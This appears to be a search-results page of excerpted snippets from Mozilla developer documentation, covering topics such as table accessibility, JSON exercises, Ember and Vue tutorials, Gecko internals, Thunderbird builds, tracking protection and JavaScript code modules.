...l as column headers): <tr> <th scope="row">haircut</th> <td>hairdresser</td> <td>12/09</td> <td>great idea</td> <td>30</td> </tr> screenreaders will recognize markup structured like this, and allow their users to read out the entire column or row at once, for example. scope has two more possible values -- colgroup and rowgroup. these are used for headings that sit over the top of mult
iple columns or rows. if you look back at the "items sold august 2016" table at the start of this section of the article, you'll see that the "clothes" cell sits above the "trousers", "skirts", and "dresses" cells. all of these cells should be marked up as headers (<th>), but "clothes" is a heading that sits over the top and defines the other three subheadings. "clothes" therefore should get an attr...
...all the <th> elements that act as a header for that cell, separated by spaces. this gives your html table an explicit definition of the position of each cell in the table, defined by the header(s) for each column and row it is part of, kind of like a spreadsheet. for it to work well, the table really needs both column and row headers. ...
Test your skills: JSON - Learn web development
king with json article. note: you can try out the solution in the interactive editor below. if you get stuck, then ask us for help -- see the assessment or further help section at the bottom of this page. note: in the example below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascr
ipt console, in the case of the downloadable version). json 1 the one and only task in this article concerns accessing json data and using it in your page. json data about some mother cats and their kittens is available in sample.json. the json is loaded into the page as a text string and made available in the catstring parameter of the displaycatinfo() function, called when the provided promise ...
...of all/male/female kittens, and add those details to the kitteninfo variable string. the last mother cat name should have an "and" before it, and a full stop after it. how do you make sure this can work, no matter how many cats are in the json? why are the para1.textcontent = motherinfo; and para2.textcontent = kitteninfo; lines inside the displaycatinfo() function, and not at the end of the scr
ipt? this has something to do with async code. try updating the live code below to recreate the finished example: warning: to answer this question, you'll need to write your code into the live code window above. the example won't work locally, or in an environment like codepen or jsfiddle, because of something called cross-origin security. this basically means that you can't request a file fro...
...e finished example: warning: to answer this question, you'll need to write your code into the live code window above. the example won't work locally, or in an environment like codepen or jsfiddle, because of something called cross-origin security. this basically means that you can't request a file from one origin using code on a different origin. in the live code editor above, both the javascr
ipt code and the requested json file are on the same origin (the code sits on a github repo, and is embedded here in an <iframe>). if you put your code on codepen for example, it would fail because the json it is requesting is not on the same origin. you can get around these restrictions using cors, but this is beyond the scope of what we are teaching here. assessment or further help you can prac...
... these restrictions using cors, but this is beyond the scope of what we are teaching here. assessment or further help you can practice these examples in the interactive editor above. if you would like your work assessed, or are stuck and want to ask for help: write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descr
iptive title such as "assessment wanted for json skill test". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. your code. a link to the actual task or assessment page, so we can find the question you want help with. ...
Ember Interactivity: Footer functionality, conditional rendering - Learn web development
previous overview: client-side javascr
ipt frameworks next now it's time to start tackling the footer functionality in our app. here we'll get the todo counter to update to show the correct number of todos still to complete, and correctly apply styling to completed todos (i.e. where the checkbox has been checked). we'll also wire up our "clear completed" button. along the way, we'll learn about using conditional rendering in our templates. prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascr
ipt languages, and have knowledge of the terminal/command line. a deeper understanding of modern javascr
ipt features (such as classes, modules, etc), will be extremely beneficial, as ember makes heavy use of them. ...
...fn allows for partial application, which is similar to bind, but it never changes the invocation context; this is equivalent to using bind with a null first argument. try restarting the dev server and going to localhost:4200 again, and you'll now see that we have a fully-operational battlestation "todos left" counter and clear button: if you'r...
...ense to have all persistent-state-changing operations be in the same place. summary that's enough for now. at this point, not only can we mark todos as complete, but we can clear them as well. now the only thing left to wire up the footer are the three filtering links: "all", "active", and "completed". we'll do that in the next article, using routing. ...
...mputed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores typescr
ipt support in svelte deployment and next steps ...
Focus management with Vue refs - Learn web development
previous overview: client-side javascr
ipt frameworks next we are nearly done with vue. the last bit of functionality to look at is focus management, or put another way, how we can improve our app's keyboard accessibility. we'll look at using vue refs to handle this -- an advanced feature that allows you to have direct access to the underlying dom nodes below the virtual dom, or direct access from one component to the internal dom structure of a child component. prerequisites: familiarity with the core html, css, and javascr
ipt languages, knowledge of the terminal/command line. vue components are written as a combination of javascr
ipt objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure. for installatio...
...ed. we're already tracking the number of elements in our list heading -- the <h2> in app.vue -- and it's associated with our list of to-do items. this makes it a reasonable place to move focus to when we delete a node. first, we need to add a ref to our list heading. we also need to add a tabindex="-1" to it -- this makes the element programmatically focusable (i.e. it can be focused via javascr
ipt), when by default it is not. inside app.vue, update your <h2> as follows: <h2 id="list-summary" ref="listsummary" tabindex="-1">{{listsummary}}</h2> note: tabindex is a really powerful tool for handling certian accessibility problems. however, it should be used with caution. over-using tabindex="-1" can cause problems for all sorts of users, so only use it exactly where you need to. you sho...
... through all our vue tutorials. in the next article we'll round things off with some further resources to take your vue learning further. note: if you need to check your code against our version, you can find a finished version of the sample vue app code in our todo-vue repository. for a running live version, see https://mdn.github.io/todo-vue/dist/. ...
...mputed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores typescr
ipt support in svelte deployment and next steps ...
Tools and testing - Learn web development
as your web projects become larger and more complex, you'll want to start taking advantage of some of these tools, working out a reliable toolchain to give your development process superpowers. ...
...as your web projects become larger and more complex, you'll want to start taking advantage of some of these tools, working out a reliable toolchain to give your development process superpowers. ...
...ve good industry support. in most cases there are other tools available, old ones will go out of fashion, and new ones will no doubt appear. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get started prerequisites you should really learn the basics of the core html, css, and javascr
ipt languages first before attempting to use many the tools detailed here. for example, you'll need to know the fundamentals of these languages before you start debugging problems in complex web code, making effective use of javascr
ipt frameworks, or writing tests and running them against your code using test runners. in addition, you should start with the first module in this topic, which gives a ...
...ient-side tooling can be intimidating, but this series of articles aims to illustrate the purpose of some of the most common client-side tool types, explain the tools you can chain together, how to install them using package managers, and control them using the command line. we finish up by providing a complete toolchain example showing you how to get productive. understanding client-side javascr
ipt frameworks javascr
ipt frameworks are an essential part of modern front-end web development, providing developers with tried and tested tools for building scalable, interactive web applications. many modern companies use frameworks as a standard part of their tooling, so many front-end development jobs now require framework experience. this module gives you some fundamental background knowledge ...
Mozilla accessibility architecture
we listen to dom mutation events for several resons: to broadcast document changes to the assistive technology client. however, on windows there are crash issues with the auto...
...we listen to dom mutation events for several resons: to broadcast document changes to the assistive technology client. ...
...or each accessible. in this way no accessible object should ever need to be created twice for any dom node. why we need accessibility cache the accessibility cache has a number of purposes: stability: because the gecko dom and layout teams want to avoid memory bloat where necessary, we could not afford to use 4 bytes on dom or layout nodes to point back to accessible objects. therefore, ownersh
ip is reversed -- accessible nodes own their dom objects. however, this creates instability when mozilla wants to shut down but an assistive technology client still holds onto accessibles. these crashes occur when the assistive techology releases after some gecko modules have already been unloaded, when the necessary destructors no longer exist in memory. performance: by caching the accessible nod...
... variables in nsaccessible that keep track of the number of children (maccchildcount), the parent (mparent), the first child (mfirstchild) and the next sibling (mnextsibling). if mnextsibling equals the magic value dead_end_accessible (void*)1, then there are known to be no more siblings. if mnextsiblings == nsnull, then there could still be more siblings. this architecture allows us to quickly w
ipe away an entire document's worth of cached nodes when a document goes away, simply by destroying the document accessible's cache. however, it takes two steps to get a dom node's cached accessible. we must first get the document accessible from the global cache for the node's document, and then use that document accessible's specific cache to check for an entry for the dom node. this is not much o...
Accessibility information for UI designers and developers
ience distraction, dizziness or nausea. pages with a parallax effect can particularly cause troubles. to help these users, you could offer a setting to turn off animations, or wrap the css in the prefers-reduce-motion media query. see also: understanding success criterion 2.3.3: animation from interactions content on hover or focus if content is revealed on hover or focus, for example in toolt
ips, there are some things to keep in mind: if the extra content obscures existing content, there should be a way to close it without moving focus if the extra content is opened on hover, hovering the additional content itself should not cause it to disappear consistent navigation navigation should be consistent across different pages on your site. it does not need to be exactly the same, it...
... should not cause it to disappear consistent navigation navigation should be consistent across different pages on your site. it does not need to be exactly the same, it is fine to have a different current menu item or different subnavigation links. do make sure they appear in the same place. that way, users of screen readers and screen magnifiers can reliably make assumptions about them and sk
ip over them. see also: understanding success criterion 3.2.3: consistent navigation headings the heading structure of a page is like its table of contents, so it is important that the levels are consistent. the most important thing about consistent headings is that no levels are sk
ipped. for example: after a level 2 heading, the first subheading would be a level 3, and never a level 4 or 5. just...
... see also: heading elements join the mozilla accessibility community live chat both end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility. ...
... see also: heading elements join the mozilla accessibility community live chat both end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility. since this is a worldwide effort, there is always a good chance to find someone to chat with there, day or night. ...
Browser chrome tests
as all tests, they won't work in a build with tests disabled (--disable-tests). running the browser chrome tests to run mochitest, first build mozilla with your changes; then run ./mach mochitest -f browser this will launch your build and open a "browser chrome tests" window, and report the results in the ui and to stdout. ...
... command would be: ./mach mochitest -f browser browser/base/content/test/ or without mach test_path=<path_to_the_tests> make -c <objdir> mochitest-browser-chrome to run tests in debugger the following should work ./mach mochitest -f browser --debugger gdb browser/base/content/test/ run ./mach help mochitest-browser for more options. writing browser chrome tests browser chrome tests are sn
ippets of javascr
ipt code that run in the browser window's global scope. a simple test would look like this: function test() { ok(gbrowser, "gbrowser exists"); is(gbrowser.tabs.length, 1, "browser has 1 tab"); } the test() function is invoked by the test harness when the test is run. the test file can contain other functions, they will be ignored unless invoked by test(). gbrowser is set...
... those supported by mochitests, see how the comparison functions work in the mochitest documentation for more details. the eventutils helper functions are available on the eventutils object defined in the global scope. the test file name must be prefixed with "browser_", and must have a file extension of ".js". files that don't match this pattern will be ignored by the test harness. using a descr
iptive file name is strongly encouraged instead of just using a bug number. you can collect common utils and helpers in a file called head.js, that must live in the same folder as the browser-chrome tests. this file will be injected into the test scope for each test living in the same folder. notice that any function call in head.js main scope will run before the main test() method. asynchronous t...
...e aware that this is not a solution; you should investigate why your test is taking so long, since it's most likely due to a bad test design or a performance problem. if you can rewrite the test to make is shorter, split it into smaller tests, or find why it's taking so long, you should really do that instead! function test() { // requestlongertimeout accepts an integer factor, that is a mult
iplier for the the default 30 seconds timeout. // so a factor of 2 means: "wait for at last 60s (2*30s)". requestlongertimeout(2); waitforexplicitfinish(); settimeout(completetest, 40000); } function completetest() { ok(true, "timeout did not run"); finish(); } exceptions in tests any exceptions thrown under test() will be caught and reported in the test output as a failure...
Choosing the right memory allocator
rintf_free() pl_strdup(), pl_strndup() must be freed with pl_strfree() nscrt::strdup/nscrt::strndup must be freed with nscrt::free allocating memory within plugins there are special memory allocation routines specifically intended for use from plugins, which must not be used from within mozilla itself. see gecko plugin api reference:memory. npn_memalloc npn_memfree npn_memflush javascr
ipt api memory allocators there are also routines intended for use within the javascr
ipt runtime engine (spidermonkey). this is the /js/ subtree of the source code. also, all consumers of the jsapi must use these routines for allocating memory they plan to pass to the javascr
ipt runtime. see jsapi reference for further information. js_malloc() js_realloc() js_free() js_strdup() arena alloca...
...ubtree of the source code. also, all consumers of the jsapi must use these routines for allocating memory they plan to pass to the javascr
ipt runtime. see jsapi reference for further information. js_malloc() js_realloc() js_free() js_strdup() arena allocators nspr exposes arena allocators that can be used to efficiently allocate lots of small, uniformly sized objects. presshell arena ns
ipresshell::allocateframe() and nsprescontext::allocatefromshell() can be used to allocate memory from an arena maintained by the presshell. ...
... notes memory that is allocated with the c standard library (malloc() and free()) should not be passed between shared libraries. ...
...romshell() can be used to allocate memory from an arena maintained by the presshell. these should only be used to allocate objects that are guaranteed to have a shorter lifetime than the presshell in question (typically layout data structures), because the presshell destructor will w
ipe out the arena, leaving any pointers to memory allocated from it dangling. the corresponding deallocators are ns
ipresshell::freeframe() and nsprescontext::freetoshell(). notes memory that is allocated with the c standard library (malloc() and free()) should not be passed between shared libraries. these memory buffers may be used within a single shared library or program. for data structures being passed across xpcom boundaries, use ns_alloc() instead. ...
Simple Thunderbird build
hunderbird-src (where "c:/", with a forward slash, is intentional to clarify you are in the mozillabuild command prompt per windows build prerequisite). note: parts of the build process also have problems when the source code is in a directory where the path is long (nested many levels deep). on linux, this can manifest as problems setting up the virtualenv for running tests (failure to install p
ip or virtualenv because of os access denied errors, where access is denied not because of permission problems, but because the paths being accessed have been truncated, and so do not exist). having the source deep in a filesystem hierarchy can also cause problems with pymake builds on windows. if you run into seemingly arbitrary problems in building and the source is deeply nested, try moving it cl...
...move it when building thunderbird 74 or later, since support for it will eventually be removed completely. add the following line to your mozconfig file: ac_add_options --enable-calendar to add that line you can do this in the source/ directory: echo 'ac_add_options --enable-calendar' >> mozconfig building before you start, make sure that the version you checked out is not busted. for hg t
ip, you should see green bs on https://treeherder.mozilla.org/#/jobs?repo=comm-central to start the build, cd into the source directory, and run: ./mach build mach is our command-line tool to streamline common developer tasks. see the mach article for more. building can take a significant amount of time, depending on your system, os, and chosen build options. linux builds on a fast box may take...
...central to start the build, cd into the source directory, and run: ./mach build mach is our command-line tool to streamline common developer tasks. see the mach article for more. building can take a significant amount of time, depending on your system, os, and chosen build options. linux builds on a fast box may take under 15 minutes, but windows builds on a slow box may take several hours. t
ips for making builds faster. the executable will be at the location listed under running below. running to run your build, you can use ./mach run there are various command line parameters you can add, e.g. to specify a profile. various temporary files, libraries, and the thunderbird executable will be found in your object directory (under comm-central/), which is prefixed with obj-. the exact...
...; (cd comm; hg pull -u) then just re-run the mach command above. this will only recompile files that changed, but it's still a long haul. rebuilding to build after making changes, run ./mach build again. this will only rebuild what is necessary for these changes. it is also possible to rebuild specifically. if you changed c or c++ files, run: ./mach build binaries if you changed javascr
ipt or xul files, on macos or linux you don't have to rebuild since the files in the object directory are linked to the ones in the source directory. on windows run: ./mach build path/to/dir this is the tricky bit since you need to specify the directory that installs the files, which may be a parent directory of the changed file's directory. for example, to just rebuild the lightning calendar ext...
Tracking Protection
se by accessing the tracking settings. if tracking cookies were present, you would be able to view the list by clicking on "blocking tracking cookies" in the above image to view the following popup: you can click "manage content blocking" to change the blocking settings: how does firefox choose what to block? content is blocked based on the domain from which it is to be loaded. firefox sh
ips with a list of sites which have been identified as engaging in cross-site tracking of users. when tracking protection is enabled, firefox blocks content from sites in the list. sites that track users are most commonly third-party advertising and analytics sites. what does this mean for your website? most obviously, it means that when tracking protection is enabled: content served from thir...
...en these parts will also be broken when tracking protection is enabled. for example, if your site includes a callback that runs when content from a tracking site is loaded, then the callback will not execute. ...
...ld not use google analytics in the following way: <a href="http://www.example.com" onclick="tracklink('http://www.example.com', event);"> visit example.com </a> <scr
ipt> function tracklink(url,event) { event.preventdefault(); ga('send', 'event', 'outbound', 'click', url, { 'transport': 'beacon', 'hitcallback': function() { document.location = url; } }); } </scr
ipt> instead, you should account for the case when google analytics is missing by checking to see if the ga object has initialized: <a href="http://www.example.com" onclick="tracklink('http://www.example.com', event);"> visit example.com </a> <scr
ipt> function tracklink(url,event) { event.preventdefault(); if (window.ga && ga.loaded) { ga('send', 'event', 'outbound', 'click', u...
...="tracklink('http://www.example.com', event);"> visit example.com </a> <scr
ipt> function tracklink(url,event) { event.preventdefault(); if (window.ga && ga.loaded) { ga('send', 'event', 'outbound', 'click', url, { 'transport': 'beacon', 'hitcallback': function() { document.location = url; } }); } else { document.location = url; } } </scr
ipt> more information about this technique is available at google analytics, privacy, and event tracking. note: depending on a third party in this way is not a good practice anyway, because then your site can be broken if the third party is slow or unavailable, or if the tracker has been blocked by an add-on. ...
Using the Browser API
e firefox devtools. it consists of two major parts: custom <iframe> attributes: by adding a mozbrowser attribute to the <iframe> element we can make it appear like a top-level browser window to the embedded content. this means that window.top, window.parent, window.frameelement, etc. should not reflect the frame hierarchy. api extensions: the api includes several new methods and events to man
ipulate and listen for changes to the embedded content's state, interited by the htmliframeelement interface. note: an iframe enhanced by the browser api is commonly referred to as a "browser iframe". we'll be using this term throughout the current article, and other parts of the documentation. demo to demonstrate basic usage of this api, we have created a simple browser api demo that provides...
...alicious web site. it is implied for webextensions, which always run in a separate content process from web content. aside from the iframe, there are some basic controls: <button> elements, a simple <form> to implement the browser controls, and a search bar. the search bar also contains buttons, as well as a form to type search requests into. you can see the full html listing here. ...
...ent. aside from the iframe, there are some basic controls: <button> elements, a simple <form> to implement the browser controls, and a search bar. the search bar also contains buttons, as well as a form to type search requests into. you can see the full html listing here. ...
...ame, there are some basic controls: <button> elements, a simple <form> to implement the browser controls, and a search bar. the search bar also contains buttons, as well as a form to type search requests into. you can see the full html listing here. ...
MozBeforePaint
usage outline in order to time your animation, the first thing you need to know is the time base; that is, the time at which your animation sequence started. you can determine this value by looking at window.mozanimationstarttime. this new property indicates the time, in milliseconds since epoch, at which all animations started in the specified window during the current refresh interval should be considered to have started running. with that value in hand, you can then schedule all your subsequent animation frames. ...
...thod. once you've called this, the mozbeforepaint event will be fired one time, when it's time for animations to be updated for the window's next animation frame. the timestamp property of this event will be set to the time when the animation frame is sampled; this is relevant when trying to synchronize mozrequestanimationframe animations with smil animations or css transitions. this allows mult
iple animations to remain in sync with one another within the context of a given window. frame rate control mozbeforepaint won't fire more than a fixed number of times per second, e.g. 50 or 60. this is intentional, because modern operating systems and hardware won't let the browser display more frames than that anyway. limiting the frame rate avoids wasting work, thereby saving cpu usage and powe...
...er display more frames than that anyway. limiting the frame rate avoids wasting work, thereby saving cpu usage and power and improving overall system performance. example this example performs a simple animation, moving a box a short distance after a short period of time. ...
...this computes the current position for the animating box and updates the box's position on screen, and, if the animation sequence is not yet complete, calls window.requestanimationframe() to schedule the next animation frame to be drawn. when the animation sequence completes, removes the eve...
Internationalized Domain Names (IDN) Support in Mozilla Browsers
rnet has spread to non-english speaking people around the world, it has become increasingly clear that forcing them to use domain names written only in a subset of the latin alphabet is not ideal. many of the european languages use the basic latin alphabet with additional accented characters for writing but they were not able to use them in domain names. there are many languages whose writing scr
ipts are not based on latin alphabet at all. speakers of these languages were not able to use familiar names in their native languages as part of internet domain/host names. for the past few years, there have been a flurry of ietf activities to standardize the protocols involved in domain names to handle non-ascii characters. in march of 2003, three important rfc's were approved by ietf. (cf. rfc's...
...ame servers to register non-ascii domain names and application/client vendors to implement standardized support for handling non-ascii characters in domain names. how idn works when a browser sees a host name such as http://developer.mozilla.org, it passes a request to the dns resolver service (usually built into an os), which in turn sends a request to a nearest domain name server to return an
ip address that corresponds to the host name. this
ip address is then used to connect to the web server in question. idn allows host/domain names with non-ascii characters for user input into a browser's location bar or url's embedded in web pages. at the network protocol level, there is no change in the restriction that only a subset of ascii characters be used in url/uri. if end users input non-a...
...rowsers handle non-ascii domain names unicode and nameprep when mozilla receives idn input from the user via the location bar or a request to process non-ascii host name links, it first turns them into unicode, then normalizes the input string to make it conform to general uri requirement. the process will convert uppercase characters to lowercase ones (case folding), unify characters with mult
iple representation, e.g. conversion of half-width kana characters in japanese into full-width ones (normalization), eliminate prohibited characters (e.g. space), eliminate ambiguities in bi-directional text (e.g. arabic and hebrew), and check whether or not unassigned characters in the unicode repertoire are used -- allowing them for "query strings" but disallowing them for "stored strings" such as...
...s reached eventually to standardize on a type of ace called "punycode". this is defined in rfc 3492 (punycode: a bootstring encoding of unicode for internationalized domain names in applications (idna)). the punycode proposal uses only restricted ascii characters and numbers (a-z0-9) and a hyphen (-). it was shown to be language independent, superior in compression, compact in code size, round-tr
ip safe, and superior for encoding chinese/japanese/korean characters. the final step of the process is the affixing of the ace prefix to the output string from the nameprep/stringprep and punycode processing. since the punycode contains only ascii characters, it is possible that an output may, though unlikely, coincide with existing domain names. to avoid such a complication, rfc 3490 defines a sp...
Introduction to Layout in Mozilla
data structures content node elements, attributes, leaves dom frame rectangular formatting primitive geometric information [0..n] per content node 2nd thru nth are "continuations" style context non-geometric information may be shared by adjacent frames reference counted, owned by frame view cl
ipping, z-order, transparency [0..1] per frame, owned by frame widget native window [0..1] per view, owned by view key data structures the document owns the content model, and one or more presentations exposed programmatically via dom apis the presentation owns the frame hierarchy frames own the style contexts, views, widgets ...
...dget native window [0..1] per view, owned by view key data structures the document owns the content model, and one or more presentations exposed programmatically via dom apis the presentation owns the frame hierarchy frames own the style contexts, views, widgets presentation has media type, dimensions, etc. ...
... n.b. ...
...l::appendreflowcommand, processreflowcommands incremental reflow recursively descend to target recovering reflow state child rs.reason set to incremental incremental reflow process reflow "normally" at target frame child rs.reason set based on rc's type incremental reflow propagate damage to frames later "in the flow" incremental reflow mult
iple reflow commands are batched nsreflowpath maintains a tree of target frames amortize state recovery and damage propagation cost painting as reflow proceeds through the frame hierarchy, areas are invalidated via nsiviewmanager::updateview unless immediate, invalid areas are coalesced and processed asynchronously via os expose event native expose event dispatched to w...
Addon
blockliststate read only integer the current blocklist state of this add-on; see nsiblocklistservice for possible values. creator read only addonauthor the creator of the add-on. foreigninst...
...pe read only integer indicates what scope the add-on is installed in, per profile, user, system, or application. type read only string the type of the add-on. userdisabled boolean true if the user wants this add-on to be disabled. version read only string the version of the add-on. optional properties attribute type descr
iption abouturl read only string the url of the about dialog to display for this add-on. this is passed to window.opendialog() when presenting the about dialog. if you don't provide an abouturl, a generic about dialog is displayed. the dialog receives the addon object representing your add-on as a parameter. applybackgroundupdates integer indicates whether updates foun...
...pdates integer indicates whether updates found in the background for this add-on will be applied automatically. see auto update values. the user is provided a ui for this in the add-ons manager and it's the add-on provider's responsibility to remember its selection. contributors read only addonauthor[] an array of strings holding the contributors of the add-on. descr
iption read only string the descr
iption of the add-on. developers read only addonauthor[] an array of strings holding the developers of the add-on. homepageurl read only string the homepage url of the add-on. iconurl read only string the url of the icon that represents this add-on. install read only addoninstall the addoninstall ...
...ces during sync. translators read only addonauthor[] an array of strings holding the translators of the add-on. updatedate read only date the date that the add-on was most recently updated. operationsrequiringrestart read only integer a bitfield holding all of the operations that will require a restart to complete for this add-on. ...
API-provided widgets
to create a widget, you should pass a specification object with its desired properties. this document details the available properties. properties property descr
iption id the id of the widget (required). type a string indicating the type of widget. possible types are button for simple button widgets (the default) view for buttons that open a panel or subview, depending on where they are placed. custom for fine-grained control over the creation of the widget. ...
...et. possible types are button for simple button widgets (the default) view for buttons that open a panel or subview, depending on where they are placed. custom for fine-grained control over the creation of the widget. viewid only useful for views (and required there): the id of the that should be shown when clicking the widget. toolt
iptext string to use for the toolt
ip of the widget label string to use for the label of the widget removable whether the widget is removable (optional, default: true). nb: if you specify false here, you must provide a defaultarea, too. overflows whether widget can overflow when in an overflowable toolbar (optional, default: true) defaultarea def...
...faultarea, too. overflows whether widget can overflow when in an overflowable toolbar (optional, default: true) defaultarea default area to add the widget to (optional, default: none; required if non-removable) shortcutid id of an element that has a shortcut for this widget (optional, default: null). this is only used to display the shortcut as part of the toolt
ip for builtin widgets (which have strings inside customizablewidgets.properties). if you're in an add-on, you should not set this property, and should instead include the shortcut as part of the toolt
iptext you pass in yourself. showinprivatebrowsing whether to show the widget in private browsing mode (optional, default: true) event handlers you can also define several event han...
...should return the dom node that has been constructed. ...
Widget Wrappers
de information about the widget across all windows, and 'single' wrappers which provide information about a specific instance in a specific window. group wrapper methods forwindow() a method to obtain a single window wrapper for a widget, in the window awindow passed as the only argument. properties all of a wrapper's properties are read-only unless otherwise indicated. attribute descr
iption id the widget's id type the type of widget (button, view, custom). for xul-provided widgets, this is always 'custom' provider the provider type of the widget, id est one of provider_api or provider_xul instances an array of all instances (single window wrappers) of the widget. this array is not live. areatype the type of the widget's...
... for wrappers around single widget nodes source for api-provided widgets, whether they are built-in to firefox or add-on-provided disabled for api-provided widgets, whether the widget is currently disabled. nb: this property is writable, and will toggle all the widgets' nodes' disabled states label for api-provided widgets, the label of the widget toolt
iptext for api-provided widgets, the toolt
ip of the widget showinprivatebrowsing for api-provided widgets, whether the widget is visible in private browsing single wrapper properties all of a wrapper's properties are read-only unless otherwise indicated. attribute descr
iption id the widget's id type the type of widget (button, view, custom). f...
...note that you may prefer to use the group wrapper's getter/setter instead. ...
...note that you may prefer to use the group wrapper's getter/setter instead. ...
FileUtils.jsm
the fileutils.jsm javascr
ipt code module offers utility routines dealing with files. ...
... the fileutils.jsm javascr
ipt code module offers utility routines dealing with files. ...
...stream(nsifile file, int modeflags); nsifileoutputstream openatomicfileoutputstream(nsifile file, int modeflags); nsifileoutputstream opensafefileoutputstream(nsifile file, int modeflags); void closeatomicfileoutputstream(nsifileoutputstream stream); void closesafefileoutputstream(nsifileoutputstream stream); constants constant value descr
iption mode_rdonly 0x01 corresponds to the pr_rdonly parameter to pr_open mode_wronly 0x02 corresponds to the pr_wronly parameter to pr_open mode_create 0x08 corresponds to the pr_create_file parameter to pr_open mode_append 0x10 corresponds to the pr_append parameter to pr_open mode_truncate 0x20 corresponds to the pr_trunca...
...tarting in gecko 6 the stream is opened with the defer_open nsifileoutputstream behavior flag constant; this means the file is not actually opened until the first time it's accessed. closesafefileoutputstream() closes a safe file output stream. void closesafefileoutputstream( nsifileoutputstream stream ); parameters stream the stream to close. see also nsifileoutputstream code sn
ippets and examples ...
NetUtil.jsm
the netutil.jsm javascr
ipt code module provides easy-to-use apis for performing common network related tasks. to use these utilities, you first need to import the code module into your javascr
ipt scope: components.utils.import("resource://gre/modules/netutil.jsm"); once you've imported the module, you can then use its methods. method overview nsiasyncstreamcopier asynccopy(nsiinputstream asource, nsioutputstream asink, [optional] acallback) void asyncfetch(asource, acallback) nsichannel newchannel(awhattoload, [optional] aorigincharset, [optional] nsiuri abaseuri) nsiuri newuri(atarget, [optional] aorigincharset, [optional] nsiuri abaseuri) string readinputstreamtostring(ainputstream, acount, aoptions) attributes att...
... methods asynccopy() the asynccopy() method performs a simple asynchronous copy of data from a source input stream to a destination output stream. both streams are automatically closed when the copy operation is completed. nsiasyncstreamcopier asynccopy( asource, asink, acallback ); parameters asour...
...n value returns the nsiasyncstreamcopier object that is handling the copy. exceptions thrown this method throws an exception with the message "must have a source and a sink" if either asource or asink is null. example this example writes a string to a file; it comes from the test suite for the netutil module. var file = cc["@mozilla.org/file/directory_service;1"]. getservice(ci.ns
iproperties). get("tmpd", ci.nsifile); file.append("test-file.tmp"); file.createunique(ci.nsifile.normal_file_type, 0666); // then, we need an output stream to our output file. var ostream = cc["@mozilla.org/network/file-output-stream;1"]. createinstance(ci.nsifileoutputstream); ostream.init(file, -1, -1, 0); // finally, we need an input stream to take data from. const tes...
...he first zero byte. string readinputstreamtostring( ainputstream, acount, aoptions ); parameters ainputstream the input stream from which to read the data. acount the number of bytes to read from the stream. you can call nsiinputstream.available() to get the number of bytes currently available. aoptions specifies additional options to control the reading process. this is a javascr
ipt object with fields as specified in options. options the aoptions parameter is a javascr
ipt object which can have any or all of the following fields: field name descr
iption charset the character encoding to use when interpreting the input stream. if you don't provide this, the input won't be decoded at all and the raw bytes will be returned. replacement a c...
Task.jsm
tasks are built upon generator functions and promises. the task.spawn() function takes a generator function and starts running it as a task. every time the task yields a promise, it waits until the promise is resolved. ...
... tasks are built upon generator functions and promises. the task.spawn() function takes a generator function and starts running it as a task. every time the task yields a promise, it waits until the promise is resolved. ...
... the yield operator returns the return value of the function. this comes in handy when iterating over function lists where some items have been converted to tasks and some not. if you specify anything else, the yield operator returns exactly what you specified. method overview function async(atask); promise spawn(atask); properties attribute type descr
iption result read only constructor constructs a special exception that, when thrown inside a legacy generator function, allows the associated task to be resolved with a specific value. example: task.spawn( function() { yield ... ; throw new task.result("value"); } note: if you want to exit early from a generator function, without returning a value for the task, you can jus...
...or at least once. let's create a promise object, wait on // it and capture its resolution value. let mypromise = getpromiseresolvedontimeoutwithvalue(1000, "value"); let result = yield mypromise; // this part is executed only after the promise above is resolved (after // one second, in this imaginary example). we can easily loop while // calling asynchronous functions, and wait mult
iple times. for (let i = 0; i < 3; i++) { result += yield getpromiseresolvedontimeoutwithvalue(50, "!"); } return "resolution result for the task: " + result; }).then(function (result) { // result == "resolution result for the task: value!!!" // the result is undefined if no special task.result exception was thrown. }, function (exception) { // failure! we can inspect or report...
Webapps.jsm
tener: function(amsgnames, aapp, amm) removemessagelistener: function(amsgnames, amm) formatmessage: function(adata) receivemessage: function(amessage) getappinfo: function getappinfo(aappid) broadcastmessage: function broadcastmessage(amsgname, acontent) registerupdatehandler: function(ahandler) unregisterupdatehandler: function(ahandler) notifyupdatehandlers: function(aapp, amanifest, az
ippath) _getappdir: function(aid) _writefile: function(apath, adata) dogetlist: function() doexport: function(amsg, amm) doimport: function(amsg, amm) doextractmanifest: function(amsg, amm) dolaunch: function (adata, amm) launch: function launch(amanifesturl, astartpoint, atimestamp, aonsuccess, aonfailure) close: function close(aapp) canceldownload: function canceldownload(amanifesturl, a...
...nsuresufficientstorage: function(anewapp) _checkdownloadsize: function(afreebytes, anewapp) _getrequestchannel: function(afullpackagepath, aislocalfileinstall, aoldapp,) _senddownloadprogressevent: function(anewapp, aprogress) _getpackage: function(arequestchannel, aid, aoldapp, anewapp) _computefilehash: function(afilepath) _sendappliedevent: function(aapp) _openandreadpackage: function(az
ipfile, aoldapp, anewapp, aislocalfileinstall,) _openpackage: function(az
ipfile, aapp, aislocalfileinstall) _opensignedpackage: function(ainstallorigin, amanifesturl, az
ipfile, acertdb) _readpackage: function(aoldapp, anewapp, aislocalfileinstall, aisupdate,) _checksignature: function(aapp, aissigned, aislocalfileinstall) _saveetag: function(aisupdate, aoldapp, arequestchannel, ahash, amanifest...
...stall) _opensignedpackage: function(ainstallorigin, amanifesturl, az
ipfile, acertdb) _readpackage: function(aoldapp, anewapp, aislocalfileinstall, aisupdate,) _checksignature: function(aapp, aissigned, aislocalfileinstall) _saveetag: function(aisupdate, aoldapp, arequestchannel, ahash, amanifest) _checkorigin: function(aissigned, aoldapp, amanifest, aisupdate) _getids: function(aissigned, az
